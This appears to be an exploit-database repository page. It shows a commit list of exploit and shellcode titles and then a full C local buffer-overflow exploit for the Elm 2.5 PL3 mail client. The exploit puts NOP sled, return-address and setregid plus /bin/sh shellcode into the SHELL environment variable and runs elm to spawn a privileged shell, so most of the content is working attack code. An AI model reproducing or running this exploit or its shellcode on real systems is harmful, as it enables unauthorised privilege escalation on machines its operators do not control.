880bbe402e
14991 changes to exploits/shellcodes HTC Touch - vCard over IP Denial of Service TeamSpeak 3.0.0-beta25 - Multiple Vulnerabilities PeerBlock 1.1 - Blue Screen of Death WS10 Data Server - SCADA Overflow (PoC) Symantec Endpoint Protection 12.1.4013 - Service Disabling Memcached 1.4.33 - 'Crash' (PoC) Memcached 1.4.33 - 'Add' (PoC) Memcached 1.4.33 - 'sasl' (PoC) Memcached 1.4.33 - 'Crash' (PoC) Memcached 1.4.33 - 'Add' (PoC) Memcached 1.4.33 - 'sasl' (PoC) Alcatel-Lucent (Nokia) GPON I-240W-Q - Buffer Overflow man-db 2.4.1 - 'open_cat_stream()' Local uid=man CDRecord's ReadCD - '$RSH exec()' SUID Shell Creation CDRecord's ReadCD - Local Privilege Escalation Anyburn 4.3 x86 - 'Copy disc to image file' Buffer Overflow (Unicode) (SEH) FreeBSD - Intel SYSRET Privilege Escalation (Metasploit) CCProxy 6.2 - 'ping' Remote Buffer Overflow Savant Web Server 3.1 - Remote Buffer Overflow (2) Litespeed Web Server 4.0.17 with PHP (FreeBSD) - Remote Overflow Alcatel-Lucent (Nokia) GPON I-240W-Q - Buffer Overflow QNAP TS-431 QTS < 4.2.2 - Remote Command Execution (Metasploit) Imperva SecureSphere 13.x - 'PWS' Command Injection (Metasploit) Drupal < 8.5.11 / < 8.6.10 - RESTful Web Services unserialize() Remote Command Execution (Metasploit) Oracle Weblogic Server - Deserialization Remote Command Execution (Patch Bypass) TeamCity < 9.0.2 - Disabled Registration Bypass OpenSSH SCP Client - Write Arbitrary Files Kados R10 GreenBee - Multiple SQL Injection WordPress Core 5.0 - Remote Code Execution phpBB 3.2.3 - Remote Code Execution Linux/x86 - Create File With Permission 7775 + exit() Shellcode (Generator) Linux/x86 - setreuid(0_0) + execve(/bin/ash_NULL_NULL) + XOR Encoded Shellcode (58 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/csh__ [/bin/csh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/ksh__ [/bin/ksh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/zsh__ [/bin/zsh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(/bin/ash_NULL_NULL) + XOR Encoded Shellcode (58 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/csh__ [/bin/csh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/ksh__ [/bin/ksh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/zsh__ [/bin/zsh_ NULL]) + XOR Encoded Shellcode (53 bytes)
42 lines
No EOL
1.6 KiB
C
42 lines
No EOL
1.6 KiB
C
// source: https://www.securityfocus.com/bid/1276/info
|
|
|
|
Buffer overflow vulnerabilities exist in elm (Electronic Mail for Unix).
|
|
|
|
/*
|
|
Elm 2.5 PL3 exploit
|
|
Tested Under Linux Slackware 3.6, 4.0, 7.0
|
|
By xfer (xfer@oko.lo2.szczecin.pl)
|
|
Of Buffer0verfl0w Security
|
|
At Sat May 27 18:52:14 CEST 2000
|
|
HowTo: Hmmm.. Ya have to play with offset.
|
|
MoreInfo: Elm is shit, it has bug in each option or function ;>.
|
|
*/
|
|
#include <stdio.h>
|
|
#include <unistd.h>
|
|
#define PATH "/usr/local/bin/elm"
|
|
#define BUFFER 256
|
|
#define NOP 0x90
|
|
/* setregid + generic shell code */
|
|
char shellcode[] = "\x31\xdb\x31\xc9\xbb\xff\xff\xff\xff\xb1\x0c\x31\xc0\xb0"
|
|
"\x47\xcd\x80\x31\xdb\x31\xc9\xb3\x0c\xb1\x0c\x31\xc0\xb0"
|
|
"\x47\xcd\x80\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07"
|
|
"\x89\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd"
|
|
"\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xdc\xff\xff\xff\x2f"
|
|
"\x62\x69\x6e\x2f\x73\x68";
|
|
unsigned long get_esp(void) {
|
|
__asm__("movl %esp, %eax");
|
|
}
|
|
int main(int argc,char *argv[]){
|
|
char buff[BUFFER];
|
|
int x,offset=0;
|
|
long address;
|
|
if(argc>1) offset=atoi(argv[1]);
|
|
address = get_esp() + offset;
|
|
fprintf(stderr,"Address: 0x%lx\nOffset: %d\nShellSize: %d\n",address,offset,strlen(shellcode));
|
|
for(x=3;x<BUFFER;x+=4) *(int *)&buff[x]=address;
|
|
for(x=0;x<(BUFFER-strlen(shellcode));x++) buff[x]=NOP;
|
|
memcpy(buff+(BUFFER-strlen(shellcode)),shellcode,strlen(shellcode));
|
|
setenv("SHELL",buff,1);
|
|
if((execl(PATH,"elm",0)) < 0) fprintf(stderr,"Kurwa Mac! No %s file ?\n",PATH);
|
|
return 0;
|
|
} |